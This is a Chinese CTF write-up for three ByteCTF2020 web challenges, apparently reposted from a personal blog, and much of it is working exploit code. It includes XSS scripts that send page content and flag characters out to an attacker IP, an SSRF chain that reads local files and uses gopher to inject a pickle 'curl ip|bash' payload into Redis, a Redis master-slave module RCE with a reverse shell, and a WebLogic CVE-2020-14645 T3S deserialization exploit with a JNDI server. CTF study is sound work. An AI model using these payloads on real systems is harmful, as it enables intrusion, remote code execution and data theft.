ByteCTF2020


http://phoebe233.cn/?p=328
頭給我錘爛了

douyin_video

http://c.bytectf.live:30002/ 有selfxss,提交的url只能是http://a.bytectf.live:30001/
http://b.bytectf.live:30001/ 給了源碼,要botip才能訪問

但是flask配置文件中的正則沒加^結尾
在這里插入圖片描述
導致能用換行%0a+@符偽造url,但是還存在跨域的問題,這里wuw.js中設置了document.domain
在這里插入圖片描述
那我們在構造的時候也加上document.domain="bytectf.live";即可,而send路由加載了send.html,所以往send路由發keyword

document.domain="bytectf.live"; 
var iframe = document.createElement('iframe'); 
iframe.id = 'fucker'; 
iframe.src="http://b.bytectf.live:30001/send?keyword=ByteCTF"; 
document.body.appendChild(iframe); 
function loadover(){ 
	s = document.getElementById("fucker").contentWindow.document.body.innerHTML; 
	new Image().src='http://ip:9999/?content=' + btoa(s); 
} 
iframe1 = document.getElementById("fucker"); 
setTimeout( function(){ loadover(); }, 5000);

在這里插入圖片描述
vps上寫好跳轉

<?php
header('Location:http://c.bytectf.live:30002/?action=post&id=c77e4ee40b36b7043cadfbee58f6f86f');

在這里插入圖片描述
在這里插入圖片描述

官方的預期解,先看uwu.js邏輯

let u = new URL(location), p = u.searchParams, k = p.get('keyword') || '';
if ('' === k) history.replaceState('', '', '?keyword=');
axios.post('/search', `keyword=${encodeURIComponent(k)}`).then(resp => {
    result.innerHTML = '';
    if (document.domain == 'a.bytectf.live') {
        if(Object.keys(resp.data).length != 0){
            document.domain = 'bytectf.live'
                for (f of Object.keys(resp.data)) {
                    let i = document.createElement('iframe');
                    i.src = `http://b.bytectf.live:30001/send?keyword=${encodeURIComponent(f)}`;
                    result.appendChild(i);
                    setTimeout(
                        () => {
                            let u = window.frames[0].document.getElementById('result').children[0].innerText;
                            let e = document.createElement('iframe'); e.src = u; ;
                            window.frames[0].document.getElementById('result').append(e)
                        },2500)
                }
            } else {
                let i = document.createElement('iframe');
                i.src = `http://a.bytectf.live:30001/send?keyword=`; 
                result.appendChild(i);
                setTimeout(
                    () => {
                        let u = "https://aweme.snssdk.com/aweme/v1/playwm/?video_id=v0200f480000brb2q3t2v324gt56fosg&ratio=720p&line=0";
                        let e = document.createElement('iframe'); e.src = u;
                        window.frames[0].document.getElementById('result').append(e)
                    },2500)
            }
    }
})

可以發現如果通過index會先判斷document.domain是否是a,所以這里只能用a來訪問index,首先會根據keyword去請求/search,如果flag中有該keyword則Object.keys(resp.data)為flag,否則為空。

然后我一開始看這個預期解也很奇怪,同樣是加載那些視頻,為什么if中請求的是b子域,else中請求的是a子域,感覺是出題人故意迎合這個點設置的...
在這里插入圖片描述
並且if中設置了document.domain = 'bytectf.live'保證能跨域請求到b,但是如果我們用iframe去加載index,然后設置iframe的allow屬性為document-domain 'none';就不會受document.domain = 'bytectf.live'影響,這樣如果keyword正確也會因為跨域的問題而加載不了b,而else無論如何都會加載a,所以可以通過查看iframe個數來盲注flag

本地弄一個模擬環境,a.wander.com

<body>
aaa
<script>
if (document.domain == 'a.wander.com') {
	if(true){
		document.domain='wander.com';
		let i = document.createElement('iframe');
		i.src="http://b.wander.com"
		document.body.appendChild(i);
	}
	else{
		let i2 = document.createElement('iframe');
		i2.src="http://baidu.com"
		document.body.appendChild(i2);
	}
}
</script>
</body>

b.wander.com

<body>
bbb
</body>

c.wander.com

<body>
<script>
var i = document.createElement('iframe');
i.allow = "document-domain 'none';";
i.src="http://a.wander.com"
document.body.appendChild(i);
</script>
</body>

在a中假設為true進入if循環,本來應該在c中顯示兩個iframe,但是由於i.allow = "document-domain 'none';";限制了跨域
在這里插入圖片描述
改成false
在這里插入圖片描述
如果把allow去掉就會成功跨域加載了
在這里插入圖片描述
所以exp呼之欲出:

var flag = "ByteCTF{"
function loadFrame(keyword) {
    var iframe;
    iframe = document.createElement('iframe');
    iframe.allow = "document-domain 'none';";
    iframe.src = 'http://a.bytectf.live:30001/?keyword='+keyword;
    document.body.appendChild(iframe);
}
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}
async function doit() {
    for(c=0;c<16;c++){
        var ascii='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        for(i=0;i<ascii.length;i++){
            loadFrame(flag + ascii.charAt(i));
        }
        await sleep(5000);//延時等待所有的iframe加載完
        for(i=0;i<ascii.length;i++){
            if(window.frames[i].length==0){//為0就表示true
                flag+=ascii.charAt(i);
                fetch('http://ip/?flag=' + flag)
                console.log(flag);
                break;
            }
        }
        document.body.innerHTML="";
     }
}
doit();

老樣子vps跳轉,不知道為什么官方預期解不用跳轉,直接繞過打c子域,反正我一直試了都不行..
在這里插入圖片描述

easy_scrapy

簡單試了一下功能,首先可以提交一個url,然后它會把url存到list里面,點擊跳轉到/result?url=進行爬取
在這里插入圖片描述
先用vps試一下,發現它使用的是pycurl(不知道為什么這里我得不到別的師傅說的scrapy_redis的ua)
在這里插入圖片描述
python的curl我就本能的嘗試了一下crlf,發現並不會解析%0a%0d等http注入

嘗試直接curl 127.0.0.1,會發現是null,不太清楚是爬蟲的原因還是啥,但是如果md5提交公網ip:http://39.102.68.152:30010/就能爬到數據:
在這里插入圖片描述
並且它將/list的內容也爬取了下來,而list是在href標簽中的,也就是說這個爬蟲會自動爬取href里的內容
在這里插入圖片描述
那我們可以用file://協議讀文件

<html>
<a href="file:///etc/passwd">zzz</a>
</html>

然后hint1是讀源碼,出題人還說是常規路徑...

首先讀/proc/self/cmdline

/bin/bash run.sh

其次讀/proc/self/environ

PWD /code

/code/run.sh

#!/bin/bash
scrapy crawl byte

看一下scrapy文檔可知項目路徑
在這里插入圖片描述
/code/scrapy.cfg
在這里插入圖片描述

# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html

[settings]
default = bytectf.settings

[deploy]
#url = http://localhost:6800/
project = bytectf

得知項目名為bytectf,進而一步步讀到所有源碼

settings.py

BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
 'bytectf.pipelines.BytectfPipeline': 300,
}

byte.py

import scrapy
import re
import base64
from scrapy_redis.spiders import RedisSpider
from bytectf.items import BytectfItem

class ByteSpider(RedisSpider):
    name = 'byte'

    def parse(self, response):
        byte_item = BytectfItem()
        byte_item['byte_start'] = response.request.url#主鍵,原始url
        url_list = []
        test = response.xpath('//a/@href').getall()
        for i in test:
            if i[0] == '/':
                url = response.request.url + i
            else:
                url = i
            if re.search(r'://',url):
                r = scrapy.Request(url,callback=self.parse2,dont_filter=True)
                r.meta['item'] = byte_item
                yield r
                url_list.append(url)
                if(len(url_list)>3):
                    break
        byte_item['byte_url'] = response.request.url
        byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
        yield byte_item

    def parse2(self,response):
        item = response.meta['item']
        item['byte_url'] = response.request.url
        item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
        yield item

還是沒什么可用的,其實如果按照scrapy_redis去搭一個爬蟲框架會發現爬蟲爬取過程中,會在redis的requests中生成pickle數據
在這里插入圖片描述
不過這里有個坑點是如果你給爬蟲設置的url很少,那么這個requests很快就會被清空,基本上你都來不及看,所以按照byc_404師傅的做法,直接用python往redis中放入多條url讓爬蟲一直處於請求狀態就行了

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import redis

redis_Host = "127.0.0.1"
redis_key="byte:start_urls"
for i in range(1,2000):
        rediscli = redis.Redis(host = redis_Host, port = 6379, db = "0")
        rediscli.lpush(redis_key, "http://www.baidu.com")

在啟完scrapy時跑一下即可

好了現在就是如何往redis中寫入pickle數據了

首先生成pickle反序列化

# python2
import pickle
import os

class exp(object):
    def __reduce__(self):
        s = """curl ip|bash"""
        return (os.system, (s,))

e = exp()
s = pickle.dumps(e,protocol=2)
print(s)

生成:

b'\x80\x02cposix\nsystem\nq\x00X\x18\x00\x00\x00curl x.x.x.x|bashq\x01\x85q\x02Rq\x03.'

首先由於byte:requests是zset的,所以需要zedd去添加

這里打的內網ip可以從settings.py得到,用一下byc_404師傅的exp

from urllib import quote

def set_key(key,payload):
    cmd=[
    "zadd {0} 1 {1}".format(key,payload),
    "quit"
    ]
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd


def generate_payload():
    key = "byte:requests"
    payload ="""\x80\x02cposix\nsystem\nq\x00X\x18\x00\x00\x00curl x.x.x.x|bashq\x01\x85q\x02Rq\x03.""".replace(' ','\x12')
    cmd=set_key(key,payload)
    protocol="gopher://"

    ip="172.20.0.7"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

if __name__=="__main__":
    passwd = ''
    p=generate_payload()
    print(quote(p.replace('%12','%20')))

生成:

gopher%3A//172.20.0.7%3A6379/_%252A4%250D%250A%25244%250D%250Azadd%250D%250A%252413%250D%250Abyte%253Arequests%250D%250A%25241%250D%250A1%250D%250A%252456%250D%250A%2580%2502cposix%250Asystem%250Aq%2500X%2518%2500%2500%2500curl%2520x.x.x.x%257Cbashq%2501%2585q%2502Rq%2503.%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

在這里插入圖片描述
/readflag
在這里插入圖片描述
最后我猜一下這個爬蟲邏輯,讀一下/etc/hosts會發現內網ip為172.20.0.5
在這里插入圖片描述
而redis是.7,根據這篇文章https://blog.csdn.net/zwq912318834/article/details/78854571

大概可以猜一下首先md5提交和直接在url中提交的不一樣,但是確實是調用了同一個路由(可能出題人邏輯寫的有問題)

然后在md5提交時url會被存儲到.7的redis上,.7應該就是master了,然后它會調用slave去爬頁面,並將結果保存至mongodb中,而直接在url提交的就是pycurl

反正幾個容器環境特別混亂,爬蟲也老崩潰就是了

后面試了一下直接打主從
在這里插入圖片描述
應該彈到的是.7的機子,而pickle彈的是.5也就是本機

head='gopher://172.20.0.7:6379/_'
    a = '''config set dir /tmp/
config set dbfilename exp.so
slaveof ip 6666
'''
    a = '''slaveof no one
MODULE LOAD /tmp/exp.so
config set dbfilename dump.rdb
system.rev ip 1234
'''
    b = quote(a)
    c = b.replace('%0A','%0D%0A')
    print (quote(head+c))

jvav

在這里插入圖片描述
這里可以看到weblogic版本為12.2.1.4.0,可以用cve-2020-14645

然后由於這是https,原先weblogic的t3反序列化就需要換成t3s,參考這個:
https://github.com/5up3rc/weblogic_cmd

com.supeream.ssl.SocketFactory.javacom.supeream.weblogic.T3ProtocolOperation中包含https的if都取出來,如
在這里插入圖片描述

然后調用:

byte[] payload= Serializables.serialize(obj);
T3ProtocolOperation.send(host, port, payload);

來發t3s

public class Exp {
    public static void main(String[]args) throws Exception {

        String host = "101.200.140.238";
        String port = "30443";

        ClassIdentity classIdentity = new ClassIdentity(xasd.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(xasd.class.getName());
        ctClass.replaceClassName(xasd.class.getName(), xasd.class.getName() + "$" + classIdentity.getVersion());
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );

        UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
        final ExtractorComparator comparator = new ExtractorComparator(extractor);

        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setDataSourceName("ldap://ldapIP:8000" );

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{rowSet, rowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);

        byte[] payload= Serializables.serialize(constructor);
        //byte[] payload= Serializables.serialize(queue);
        T3ProtocolOperation.send(host, port, payload);

    }
}

惡意類

public class xasd {

    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwOi8vaXA6OTk5OS9gY2F0IC9mbGFnYA==}|{base64,-d}|{bash,-i}");
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
    public xasd() {
    }
}

然后服務器上起一個JDNI

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "id" 8000

exp中換上ldap的ip就可以打了
在這里插入圖片描述
具體原理還太不懂,打算之后學一下

參考:https://mp.weixin.qq.com/s/GAlwjtqB79wq42ByxPblMw


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM